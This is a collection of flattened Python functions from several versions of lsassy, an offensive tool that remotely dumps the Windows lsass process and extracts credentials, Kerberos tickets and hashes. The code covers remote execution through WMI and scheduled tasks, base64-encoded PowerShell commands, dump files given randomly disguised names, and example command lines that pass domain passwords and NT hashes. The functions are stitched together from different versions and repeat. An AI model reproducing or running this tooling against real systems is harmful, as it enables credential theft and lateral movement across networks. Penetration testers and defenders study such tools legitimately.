def run(): import argparse parser = argparse.ArgumentParser( description='lsassy v{} - Remote lsass dump reader'.format(version)) group_auth = parser.add_argument_group('Authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('Output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_out.add_argument('-o', '--outfile', help='Save results to file') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument( 'target', action='store', help= '[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args( args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) parser = Parser(dumpfile) parser.output(args)
def run(): import argparse parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') parser.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output') parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/shareName/path/to/lsass/dump') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args(args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
def dump(self): """ Dump lsass on remote host. Different methods can be used. If you chose to dump lsass using built-in comsvcs.dll method, you need SeDebugPrivilege. This privilege is either in Powershell admin context, or cmd.exe SYSTEM context. Two execution methods can be used. 1. WMIExec with cmd.exe (no SeDebugPrivilege) or powershell.exe (SeDebugPrivilege) 2. ScheduledTask which is SYSTEM context (SeDebugPrivilege). These constraints lead to different possibilities. By default, comsvcs.dll method will be used and will try Powershell with WMI, Powershell with scheduled task, and cmd.exe with scheduled task """ """ A "methodology can be described in an array of 3 elements: 1. 1st element : Dump method to use (dll, procdump) 2. Shell context to use (powershell, cmd) 3. List of remote execution methods (wmi, task) """ if self._method == "0": dump_methodologies = [["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task", )], ["procdump", "cmd", ("wmi", "task")]] elif self._method == "1": dump_methodologies = [["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task", )]] elif self._method == "2": dump_methodologies = [["procdump", "cmd", ("wmi", "task")]] elif self._method == "3": dump_methodologies = [["dll", "powershell", ("wmi", "task")]] elif self._method == "4": dump_methodologies = [["dll", "cmd", ("task", )]] else: self._log.error( "Method \"{}\" is not supported (0-4). See -h for help".format( self._method)) return False ifile = ImpacketFile(self._conn, self._log) for dump_methodology in dump_methodologies: dump_method, exec_shell, exec_methods = dump_methodology self._log.debug("Trying \"{}\" method".format(dump_method)) if dump_method == "dll": dumped = self.dll_dump(exec_methods, exec_shell) elif dump_method == "procdump": dumped = self.procdump_dump(exec_methods) else: self._log.error( "Incorrect dump method \"{}\". Currently supported : procdump, dll" .format(dump_method)) continue if dumped: """ If procdump failed, a dumpfile was created, and its content is "FAILED" Best guess is that lsass is protected in some way (PPL, AV, ...) """ try: ifile.open((self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"), timeout=self._timeout) if ifile.size() < 100 and ifile.read(6).decode( 'utf-8') == "FAILED": self._log.error("lsass is protected") ifile.close() return False ifile.seek(0) return ifile except Exception as e: self._log.warn( "No dump file found with \"{}\" using \"{}\" exec method." .format(dump_method, exec_shell)) self._log.debug("Error : {}".format(str(e))) """ If no dump file was found, it means that procdump didn't crash, so it may take more time than expected. """ self._log.warn("Target could be slow. Try to increase --timeout value") return False
class IDumpMethod: need_debug_privilege = False custom_dump_path_support = True custom_dump_name_support = True dump_name = "" dump_share = "C$" dump_path = "\\Windows\\Temp\\" exec_methods = ("smb", "wmi", "task", "mmc") def __init__(self, session, timeout, *args, **kwargs): self._session = session self._file = ImpacketFile(self._session) self._file_handle = None self._timeout = timeout def get_exec_method(self, exec_method, no_powershell=False): try: exec_method = importlib.import_module( "lsassy.exec.{}".format(exec_method.lower()), "Exec").Exec(self._session) except ModuleNotFoundError: logging.error("Exec module '{}' doesn't exist".format( exec_method.lower()), exc_info=True) return None if not self.need_debug_privilege or exec_method.debug_privilege: return exec_method if no_powershell: return None return exec_method def get_commands(self): raise NotImplementedError def prepare(self, options): return True def clean(self): return True def exec_method(self): return self.need_debug_privilege def build_exec_command(self, commands, exec_method, no_powershell=False): logging.debug( "Building command - Exec Method has seDebugPrivilege: {} | seDebugPrivilege needed: {} | Powershell allowed: {}" .format(exec_method.debug_privilege, self.need_debug_privilege, not no_powershell)) if commands["cmd"] is not None and (not self.need_debug_privilege or exec_method.debug_privilege): logging.debug(commands["cmd"]) built_command = """cmd.exe /Q /c {}""".format(commands["cmd"]) elif commands["pwsh"] is not None and not no_powershell: logging.debug(commands["pwsh"]) command = base64.b64encode( commands["pwsh"].encode('UTF-16LE')).decode("utf-8") built_command = "powershell.exe -NoP -Enc {}".format(command) else: logging.error("Shouldn't fall here. Incompatible constraints") return None return built_command def dump(self, dump_path=None, dump_name=None, no_powershell=False, exec_methods=None, timeout=5, **kwargs): logging.info("Dumping via {}".format(self.__module__)) if exec_methods is not None: self.exec_methods = exec_methods if dump_name is not None: if not self.custom_dump_name_support: logging.warning( "A custom dump name was provided, but dump method {} doesn't support custom dump name" .format(self.__module__)) logging.warning("Dump file will be {}".format(self.dump_name)) else: self.dump_name = dump_name elif self.dump_name == "": ext = [ "csv", "db", "dbf", "log", "sav", "sql", "tar", "xml", "fnt", "fon", "otf", "ttf", "bak", "cfg", "cpl", "cur", "dll", "drv", "icns", "ico", "ini", "lnk", "msi", "sys", "tmp", "doc", "docx", "odt", "pdf", "rtf", "tex", "txt", "wpd", "png", "jpg" ] self.dump_name = "{}.{}".format( ''.join( random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(3, 9))), random.choice(ext)) if dump_path is not None: if not self.custom_dump_path_support: logging.warning( "A custom dump path was provided, but dump method {} doesn't support custom dump path" .format(self.__module__)) logging.warning("Dump path will be {}{}".format( self.dump_share, self.dump_path)) else: self.dump_path = dump_path valid_exec_methods = {} for e in self.exec_methods: exec_method = self.get_exec_method(e, no_powershell) if exec_method is not None: valid_exec_methods[e] = exec_method else: logging.debug("Exec method '{}' is not compatible".format(e)) if len(valid_exec_methods) == 0: logging.error("Current dump constrains cannot be fulfilled") logging.debug("Dump class: {} (Need SeDebugPrivilege: {})".format( self.__module__, self.need_debug_privilege)) logging.debug("Exec methods: {}".format(self.exec_methods)) logging.debug("Powershell allowed: {}".format( "No" if no_powershell else "Yes")) return None if self.prepare(kwargs) is None: logging.error("Module prerequisites could not be processed") self.clean() return None try: commands = self.get_commands() except NotImplementedError: logging.warning( "Module '{}' hasn't implemented all required methods".format( self.__module__)) return None if not isinstance( commands, dict) or "cmd" not in commands or "pwsh" not in commands: logging.warning( "Return value of {} was not expected. Expecting {'cmd':'...', 'pwsh':'...'}" ) return None for e, exec_method in valid_exec_methods.items(): logging.info("Trying {} method".format(e)) exec_command = self.build_exec_command(commands, exec_method, no_powershell) if exec_command is None: # Shouldn't fall there, but if we do, just skip to next execution method continue logging.debug("Transformed command: {}".format(exec_command)) try: if not exec_method.exec(exec_command): logging.error("Failed to dump lsass using {}".format(e)) self.clean() continue self._file_handle = self._file.open(self.dump_share, self.dump_path, self.dump_name, timeout=timeout) if self._file_handle is None: logging.error("Failed to dump lsass using {}".format(e)) self.clean() continue logging.success( "Lsass dumped successfully in C:{}{} ({} Bytes)".format( self.dump_path, self.dump_name, self._file_handle.size())) self.clean() return self._file_handle except Exception: logging.error("Execution method {} has failed".format( exec_method.__module__), exc_info=True) continue logging.error("All execution methods have failed") self.clean() return None def failsafe(self, timeout=3): t = time.time() while True: if self._file_handle is not None: self._file_handle.delete(timeout=timeout) else: try: self._session.smb_session.deleteFile( self.dump_share, self.dump_path + "/" + self.dump_name) logging.debug("Lsass dump successfully deleted") except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str( e) or "STATUS_NO_SUCH_FILE" in str(e): return True if time.time() - t > timeout: logging.warning( "Lsass dump wasn't removed in {}{}".format( self.dump_share, self.dump_path + "/" + self.dump_name), exc_info=True) return None logging.debug( "Unable to delete lsass dump file {}{}. Retrying...". format(self.dump_share, self.dump_path + "/" + self.dump_name)) time.sleep(0.5)
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected] lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected] lsassy -d adsec.local/pixis:[email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) group_auth = parser.add_argument_group('procdump (default DLL)') group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) if args.procdump: file_path = dumper.dump("procdump") else: file_path = dumper.dump("dll") if not file_path: exit() ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()